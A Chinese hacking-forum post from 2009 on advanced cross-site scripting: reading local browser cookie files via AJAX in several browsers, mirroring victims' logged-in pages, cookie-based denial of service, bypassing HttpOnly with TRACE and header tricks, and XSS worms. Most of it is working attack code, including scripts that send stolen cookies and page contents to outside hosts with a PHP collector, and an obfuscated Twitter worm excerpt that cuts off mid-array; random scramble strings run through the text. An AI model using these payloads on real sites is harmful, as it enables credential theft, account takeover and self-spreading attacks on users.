XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页6 k! K+ p, u& a
本帖最后由 racle 于 2009-5-30 09:19 编辑 ; |: c' ^9 P1 e6 P8 o" m
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html8 h5 e, y: \# A; |1 ]
转帖请保留版权
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-------------------------------------------前言---------------------------------------------------------4 {! U+ F+ ^# q/ }* H+ ` s
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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& Y6 o9 k5 d4 l! m如果你还未具备基础XSS知识,以下几个文章建议拜读:
3 O3 j& S# x7 E0 f7 Lhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
( [" X, h! J2 ^http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全9 D$ J+ K: c7 W' m8 @- r* f' {% ~
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过* z( T: l& ]( J$ O6 y( @3 Y; K
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF9 @' V: n1 R( Z
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
* t& V$ Z* p3 ~" O: H; qhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持) {6 W7 w4 j" y, R$ [
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" i! [: P2 c+ P- R如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.: q3 ]& _& T4 B% N' e+ Q- ^( }9 U
+ u- w5 |' O% S2 J; K' Y希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.5 j- I8 T( }3 Q8 Q) T
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大' Y4 [1 |% B" E' B4 @8 W
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QQ ZONE,校内网XSS 感染过万QQ ZONE.9 x7 }' p8 c) l- F1 n! y
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------8 X0 b' S2 Z" \' k' f- X' ^
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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/ V: O5 \# s: G l跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
0 U, @' n; p0 ?7 B+ q! U' `复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.2 V: t* K& F* ~3 H5 p# h
我们在这里重点探讨以下几个问题:
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1 通过XSS,我们能实现什么?
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! j) M1 H9 s5 P; p2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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& t$ V: l! Q# ]3 XSS的高级利用和高级综合型XSS蠕虫的可行性?0 L* T, g% Z4 ^4 S
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4 XSS漏洞在输出和输入两个方面怎么才能避免.
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. r( K; p$ c+ e. ^ l9 s, b% \------------------------------------------研究正题----------------------------------------------------------, C5 } N( b" s
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫. i$ h# j7 \- j+ ]0 O0 N; Z* B
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
& M8 i$ V7 i% P' j复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
2 U0 v- L+ S2 h y! r+ h9 |3 |1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
" U: O! P, a g2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.3 o2 T% m1 A+ ~0 Y' b2 F
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.2 N p# ^% ~7 p9 l3 G0 U1 d6 h7 T
4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者); e# f; A2 O3 w% P* H3 C& T/ H) I* s, l
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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" s3 [3 I! m. j: R6 Q/ u 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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, q# P7 l5 y3 G/ z 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。 w: q4 E5 e( ?7 B. [$ C
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
4 e( N. b( c4 D6 ?4 m4 H+ A复制代码IE6使用ajax读取本地文件 <script>' h F5 C2 {- ~6 L
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, q# B+ m! A K j. e8 a* }2 [9 K function ajax_obj(){" I% t- n1 _, |7 h; \8 g! b
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var request = false;
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
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} else if(window.ActiveXObject) {
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4 @! u. k) L8 ` f2 z6 `* W var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',+ Z" p0 b$ k. S! y% N _
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5 Y/ u: K8 c0 h8 F+ z 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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3 r- Z+ h& Y2 b9 c6 d, e2 i request = new ActiveXObject(versions);
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} catch(e) {}
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var _x = ajax_obj();
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8 N3 @9 B7 L/ m0 B9 h3 x function _7or3(_m,action,argv){
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8 E; O4 Q1 B W& n5 R _x.open(_m,action,false);# x3 j& q8 _8 E* K! a: v
3 T/ L2 q" J( v& m ]. g- V if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");- J0 c2 U# N, u3 b+ L# a9 m6 `
! ?5 ?5 _8 S4 E, [ _x.send(argv);7 @1 p) \! x4 c5 h( O$ d3 L
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return _x.responseText;
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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alert(txt);
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</script>
, ~4 ]8 ?9 c/ g( [$ }/ i复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>: i, K, q' _! V+ P; o
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function $(x){return document.getElementById(x)}& M) R) _6 v F1 x7 h
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3 }4 [5 D: Z! r function ajax_obj(){
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9 h+ X2 G# B+ F7 T }$ f var request = false;$ S' c! T& f1 D' m
% ~& |- V1 n6 l7 i+ J if(window.XMLHttpRequest) {* Z* o" Y2 k; A$ w! I/ E( D
' o' Y2 C) P. s% A8 d6 R1 O request = new XMLHttpRequest();" z8 ]5 y9 B4 x# ~; n6 u
/ K, }9 c0 z6 e, V% D: ^5 l l6 Y; N. V } else if(window.ActiveXObject) {" f$ e2 T8 ]9 _; n3 N- C
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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; h. @" _% f% ~2 K4 A# D, ? 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];- \( F7 j b! t0 Z2 |6 z
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for(var i=0; i<versions.length; i++) {/ x4 O$ v% q. a7 ~
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# W: k, v9 y; o8 q request = new ActiveXObject(versions);
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1 z7 h6 F: u7 l* _3 v, s) h7 \/ w: j return request;
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var _x = ajax_obj();! K& f( M& b' G2 u9 l
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function _7or3(_m,action,argv){3 w7 G& J) c) M( v- f2 |
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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; D( k4 E' Z3 M2 g% q1 `' ^% E# V _x.send(argv);
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return _x.responseText; P8 B, \( F! {& o) M
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var txt=_7or3("GET","1/11.txt",null);7 n$ Q' P5 L2 {" d# b! k
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alert(txt);
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</script>
: f8 i& c& A( e$ ?复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”$ ~, |) Y9 X' S- \
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z3 \! E9 X# l+ x6 qChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"+ K; e, f+ K4 E+ ?) V, ~2 d8 O
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<?
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/* 2 S5 y$ M- V3 Q3 s" y
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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3 `) ? W# K$ ~* ? author voidloafer@gmail.com 2009-4-22
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$ V: Y; s! Z* ~/ l4 ?$ o/ D http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. , O/ e4 T8 G$ C+ t( L0 [: [* _/ F
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. Z0 F% H7 y+ j$ g* c* D6 _# vheader("Content-Disposition: attachment;filename=kxlzx.htm"); , T+ A. |& A4 B3 P# d# L1 T
/ L4 V. r4 s; R1 a+ a; Lheader("Content-type: application/kxlzx");
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/* ' y- N% i5 O+ t5 A% o
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set header, so just download html file,and open it at local. ' S5 v! a- u2 {9 c1 W1 m* t7 f! x
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*/
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) G/ p1 K1 h8 L) x* R# P+ W<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> : B2 e* f9 w* H" J3 F) A
. J/ S, V" D( S9 _2 e* ~ <input id="input" name="cookie" value="" type="hidden">
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+ p( U7 E5 P6 ~7 b' l) |: I</form> * R: ^! l* w4 |' p0 R
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<script> 2 b) e8 F* z, Y" R& j
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function doMyAjax(user)
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{
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2 J# `" S1 v c' O3 z0 ]var time = Math.random();
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/*
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( x! D' t* S% ]7 W6 A- jthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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& g+ ^- o0 V8 F2 M. B+ {7 L9 H$ | xand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History 1 x S- P [* v- f$ J5 S8 I( i
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and so on... ' L0 {0 M* ^1 h& E) Q/ D, {- B
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- J6 [8 I# M+ Mvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; # [4 \, c q0 _2 D1 `4 t4 y3 w
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startRequest(strPer); 7 R7 g% f. J' V0 M
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0 X: a. K- A: N; f2 mfunction Enshellcode(txt)
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( i0 e( s# U' g% }/ F% `8 n; Y4 }var url=new String(txt);
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var i=0,l=0,k=0,curl=""; 5 x, I9 t+ w1 {6 m x! E) T
\/ J# F. v1 j: K* W8 ?# \l= url.length; # g( }& Z7 Y/ `" R
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for(;i<l;i++){ ! @: b* I( U+ W% }0 o& I0 ~8 J
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k=url.charCodeAt(i);
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} E. F4 m' C4 C$ O0 a: W r
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if (l%2){curl+="00";}else{curl+="0000";}
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curl=curl.replace(/(..)(..)/g,"%u$2$1"); ' T3 n. W2 q- p1 l0 Y
/ p6 u0 {" r: y. j1 j3 |return curl; 7 H2 [8 Z" _+ _2 i. q
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}
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- {# E; A" o9 U4 {
var xmlHttp; 4 ?( l d/ E$ _: Z6 ?* I
/ A( q, I" s; L Efunction createXMLHttp(){
6 [1 Y0 U2 E Z! ~: l8 G9 Z$ }& A4 |
( {; X$ }5 J' H, R1 B+ q0 ` if(window.XMLHttpRequest){ ) t) r B5 g0 H& |
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xmlHttp = new XMLHttpRequest();
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}
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, r! F- }2 J8 r7 G9 A1 {: f else if(window.ActiveXObject){ ) f( F! B. t) ]$ _, f2 N
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
1 z) C& |7 B F) c! Y. n
4 A! ]) Y8 g7 Q4 Y- m9 J8 X } 4 P) |1 t" ^1 k* R) d, R
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) H; W. ^+ ~' q/ \0 v! V' ?" sfunction startRequest(doUrl){ ) h( c% @3 ?$ [ J- |" _0 p1 `
: ^! G, o9 Q! Z3 A& t; u, I- x0 W " P1 o0 O& Q; n) l
+ w c6 V# T, J: } createXMLHttp();
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1 g n0 A+ M& V6 f+ ` xmlHttp.onreadystatechange = handleStateChange;
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& r: k6 ~6 J+ z% X6 ?- ^! C/ Y xmlHttp.open("GET", doUrl, true);
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% N7 \% D+ J$ S" ]$ v, k- I xmlHttp.send(null);
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" {# b8 h3 M: p3 s: d, J4 L
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function handleStateChange(){
* \' j7 \8 k! Q- M+ L: k& \+ O; z* x6 m/ v3 v. U6 F! u" S
if (xmlHttp.readyState == 4 ){
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/ N8 h% a) d) |1 b, m% D var strResponse = ""; 2 P; M# @) _, \4 a* q
: K/ e/ A6 T" ^ setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 1 F& l# D1 [) N6 V0 j
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}
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3 n* n R5 k6 i I& ~ k, T5 V) U" pfunction framekxlzxPost(text) 9 m3 z0 [! J2 B+ h5 f
1 N- ?( {9 H1 z$ N, U( M
{
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document.getElementById("input").value = Enshellcode(text); % y V9 r- G7 b$ S( J3 ]3 G
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document.getElementById("form").submit(); , j7 K; }4 ^, Q8 k
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$ h' {, s# d" i) fdoMyAjax("administrator");
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</script>
# i) M# c, F9 c2 i' {% p复制代码opera 9.52使用ajax读取本地COOKIES文件<script> * _. X+ V3 j5 [$ \, z& i* V
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var xmlHttp;
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function createXMLHttp(){ 3 O4 L! j7 @% q
. ]6 a! m" Z1 J+ O" f$ {- Z0 m4 K
if(window.XMLHttpRequest){ v1 W" }$ E( t9 V3 L
, L9 @5 P. C) b% H* t xmlHttp = new XMLHttpRequest(); + o9 O N) G$ p
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: \! [. D7 Q( b' m! f3 q
else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); " x% ^! n# y0 K
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}
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6 j( L% n. k7 m* C}
4 U9 I9 i/ ~' n6 B- @( A2 n( p+ B d) \) |
' u2 O5 m G$ D9 k5 K" m3 T. c1 b$ P, x& \1 r. ]
function startRequest(doUrl){ . f6 T, A6 Q0 V
6 A. l, W9 p7 O; [
5 D: \2 S; ], `# ?( R1 S
+ e' X' h+ X+ y: X# T* w0 v) X$ H createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange;
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% G( `1 K- }" Q ; v! c/ z+ H- @5 p6 v
2 r! ?( W1 A- R- c xmlHttp.open("GET", doUrl, true); , e: b Q/ n8 ?$ t P% H: R
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xmlHttp.send(null); ' [, d7 _3 Y- i7 \# w0 N
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( {' M! x6 O! \ [! G, [& y
6 |8 u( u0 C$ J0 u( e. c
5 }( \ \' G# r' |}
% Q7 S$ {5 ^2 |0 X& _5 T+ n' q0 D1 \1 [
3 P: B, i- w/ I8 R8 |4 e N
6 t+ a5 R& Z* ^6 _6 y7 Gfunction handleStateChange(){
. k( U7 I0 p+ {/ Z. o# o$ m) q9 u7 w. t+ r! h
if (xmlHttp.readyState == 4 ){
( [- l7 c7 Y+ W( i- q( h" j7 J& Z5 D% x2 Y6 L% D: j% Z
var strResponse = ""; v3 @4 z4 a* D6 m" Z
8 P7 b2 j) Y( q5 v setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); 7 G6 N0 V- {6 l f- Z q# F. ?9 I5 u
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} - p/ K/ U" j8 `! K* \: b
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+ y" M3 D8 }$ G6 G; H+ }7 @* P& p1 ^, o
function doMyAjax(user,file)
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{ 0 H2 J6 d# O1 h2 k0 V; j* J* j
' { f, Y4 V+ f7 c8 L6 j% B) P& o var time = Math.random();
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n# B4 i& {, B1 X- C
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; ! U. }9 u0 S# q1 w2 p4 ~
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& O8 O% p6 p; v
, d' X" c4 f6 A) e4 F& \ startRequest(strPer); ! W$ x- O j' ^; |0 i& t
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} ) r3 G1 P5 E, h9 ?8 I
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# X9 Q9 C9 T# k, U3 E" y9 p) ~% M4 J0 R/ X( |# y
function framekxlzxPost(text)
7 F' \) w ~8 h& t7 z% { b! C% u$ {+ F' w4 u
{
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0 z: @ ^7 R8 Y# g6 n3 S document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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alert(/ok/);
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+ g. f8 |' `- s$ X+ p1 v
doMyAjax('administrator','administrator@alibaba[1].txt');
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3 } q! u$ Y3 T1 o0 j
</script>! x) `& \6 W3 v) y7 e
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4 T5 ^! y! L. V) u' W% da.php+ K) V& P i# I
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<?php
k0 P# D: V, p
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: w7 \* @& s6 a( J7 ^/ J4 Q9 P' e$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
' ?1 B0 D* E* z0 x7 @/ T2 s, W4 O( i) B5 T3 g7 s
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; - r* n$ e3 P9 R" u, S. g/ N
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3 u; x5 Z# x5 @# U) Y
; x4 g% c% _, l* V V8 S- z$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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7 x1 _7 }9 a) q. I' u+ B+ gfwrite($fp,$_GET["cookie"]);
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8 Q; S q9 i' s f. Tfclose($fp);
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
$ W7 y) Q" l; z* K7 |: H! n利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.3 M# r* ?3 a( A7 ]! ~6 H' u5 g
7 q: w6 {: [# B/ Y" }/ G: Q$ l代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);/ o" {0 q- A: T- }4 ]* A
' P; o6 N+ M6 }* V7 H//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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7 F; u5 Q9 m4 [# k) U//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);" x$ M& F( q9 m+ N
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function getURL(s) {' K# `5 \1 `9 _
. _7 d" w H8 _var image = new Image();1 H1 F6 R1 h x2 G1 O, x
/ H+ X" W X9 k( X* n( Aimage.style.width = 0;
8 F2 ~2 v3 y! j0 O& v' \3 U% L+ b" K* G1 j
image.style.height = 0;
6 N! D# ^ q6 Z; _9 u
# {' S9 e2 o5 I" w$ J4 U$ ?% r9 eimage.src = s;9 H4 ?; ~) Z# n! T$ {+ c
9 }' _ K* }) q$ G}
7 }; U" h- t! t) m( h( x7 z" n8 p! A( C3 p' b6 I* ]
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);' d" J1 g+ p) K4 O, W& s
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.8 ]) B) W2 V: M) R! `. E
这里引用大风的一段简单代码:<script language="javascript">. _, V3 C9 h4 i, m: ]
3 U) y9 u! D/ E+ [0 c
var metastr = "AAAAAAAAAA"; // 10 A# @. O& h+ S$ m4 {2 v6 a
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var str = "";0 z+ \+ z/ Z% y8 b5 m( P. x% E8 S
* @ P1 f7 l2 ] y3 G
while (str.length < 4000){) F* |# x* K Q3 k1 i% H
/ t) w1 g7 p0 _' \ str += metastr;
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- R \1 W. _; y) l5 mdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS( c6 W+ Z+ w5 w5 H
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</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
) {7 m8 J6 g1 @' G复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
2 S9 F& S! [/ x: Oserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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$ V z8 S4 y4 s$ |3 y) G* m假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
$ u v/ w( }, l j攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:6 k2 t5 ? h! j, Z3 a/ Y9 j
6 F* p5 s+ C9 j" G什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.$ F" n& I \, `$ L* m" J3 l
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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. U- t2 C/ I- I. J5 }# k<!--& L9 G5 S3 z8 Q. [
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function normalCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly"; 9 L: [% B1 M7 S" B
' z3 B* v, l6 r9 T9 e2 W" Galert(document.cookie);
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}
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# k8 u) U+ L% ~4 P l1 X" W' \+ h
) }; ?0 R* d, ]# a) q X3 M! D2 W% e" W- S7 q* l2 b. u' ] }4 R' A# k
, r7 h7 ~) n/ X
function httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; 5 l# w* s" W+ v. @6 l
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alert(document.cookie);}
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8 t' H; R; G3 b( [& k
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4 [+ U5 C1 n% T8 @. \6 B//-->
% s# U* J6 a6 A# [8 y/ Y, u
6 n5 c, U* Q1 y) L) s</script>$ b& @# I2 z( V g9 a( Y# s* e) n
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6 i. `3 p8 s" D {! {$ k6 ]; v; H5 K, v$ v
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>1 G( U4 N5 j- k$ K7 d) ~# A
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>4 ^* |) Y9 o% z
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
+ c4 e% D- y d3 U$ m2 m4 h9 i. @ s
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var request = false;. s- ]! i1 r9 x- Z
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();7 b0 ~% @# I' E/ Z. b! t
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if(request.overrideMimeType) {
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( ~# d- u2 R: @3 U3 n7 T9 o request.overrideMimeType('text/xml');) Y3 E; q3 Q4 {9 c. S
/ I4 d; X0 i$ v1 v2 d, k }
6 q+ {8 v. h5 M. F! c- d/ k
O) l7 O3 [8 _ } else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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! K4 J9 {; O7 R for(var i=0; i<versions.length; i++) {
2 w: @; {/ ^" r, B* g% r
. H5 i3 k7 @: K, M' ]) J try {
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6 y8 o# q! B, d5 ?2 t2 `; a9 I request = new ActiveXObject(versions);+ Q4 g% \% X+ V+ F, ~: m3 r
' i2 u: k1 Z6 j9 A* B6 z% S } catch(e) {}. U' {; t$ |! Y' s5 U
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xmlHttp=request;
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xmlHttp.open("TRACE","http://www.vul.com",false);
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1 g+ @' G! D. u3 d1 lxmlHttp.send(null);
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xmlDoc=xmlHttp.responseText;0 j1 a" F2 X) ^+ s
! g" Y/ W1 `/ b+ T7 C" Ralert(xmlDoc);+ K, } V! n; i$ f( x3 ~3 {
. R% {5 p4 H( H2 m0 T# g</script>
4 w2 j) D/ K }6 k复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>+ n6 S2 x" F4 V$ a1 l- r
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);- P6 U- p9 g+ L& D" I' l4 R
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");& k' S+ p2 t7 `3 X# o) r9 y+ h
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XmlHttp.send(null);! e% x+ J6 d/ D# h8 Q
. a8 [+ [# E. Q, R! ovar resource=xmlHttp.responseText% ]& @4 @6 E: ]+ Z8 ~* J* H+ X
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resource.search(/cookies/);
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......................
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</script>$ M& w P( b6 x9 ~
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) ]- |4 s! |" x* j/ Y. }% I如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求* N' R( I' y# d7 L b+ r
& s! `9 ^3 M$ N. C$ a) ]
[code]; J* m& _) i d9 |1 M6 k! L2 p# i; K
9 j5 w4 N, {2 b' WRewriteEngine On
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RewriteCond %{REQUEST_METHOD} ^TRACE9 ?" B+ L1 h- w& [8 ^: n
) S5 O& o, i" O7 b$ qRewriteRule .* - [F]
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Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求7 m' `: Q$ A) Z, z. r$ s5 i8 E8 P
1 j. P) @8 v' Oacl TRACE method TRACE" _" G) o# o# E j0 X
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# ~2 V3 j2 \7 g% u8 n9 S+ u3 Thttp_access deny TRACE9 v5 A/ f; ]) }% J
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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, x- r! h' @8 S) [9 K% O ~8 nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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+ J) \) J+ Z* D* G, f4 AXmlHttp.open("GET","http://www.google.com",false);! B; d* g8 w4 p
9 P- J* w- ]# l3 R4 a) D( JXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");7 C7 ^3 ~" G% Y( g& F( d
{3 ~& p, I: F* {% q2 yXmlHttp.send(null);
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5 ]; v4 y- c; z! y+ I</script>
7 z7 i9 ]; X; U2 z( {( P4 ^: \复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");' K, P+ N5 S0 P. l
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3 L9 [. I# ?; C: v, ]. mXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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0 n3 l G) R9 a; VXmlHttp.send(null);8 `0 U. _4 N3 R1 V
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<script>
) j8 F( h: ~% D, M! H7 D复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.& y: r. v; `5 z
复制代码案例:Twitter 蠕蟲五度發威, D t* ?; ?, G0 S* J" E
第一版:
* r1 W! u& l5 F3 |/ |3 @7 u3 _ 下载 (5.1 KB)( q& r7 a* ]9 T9 A. i2 @5 j
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6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy 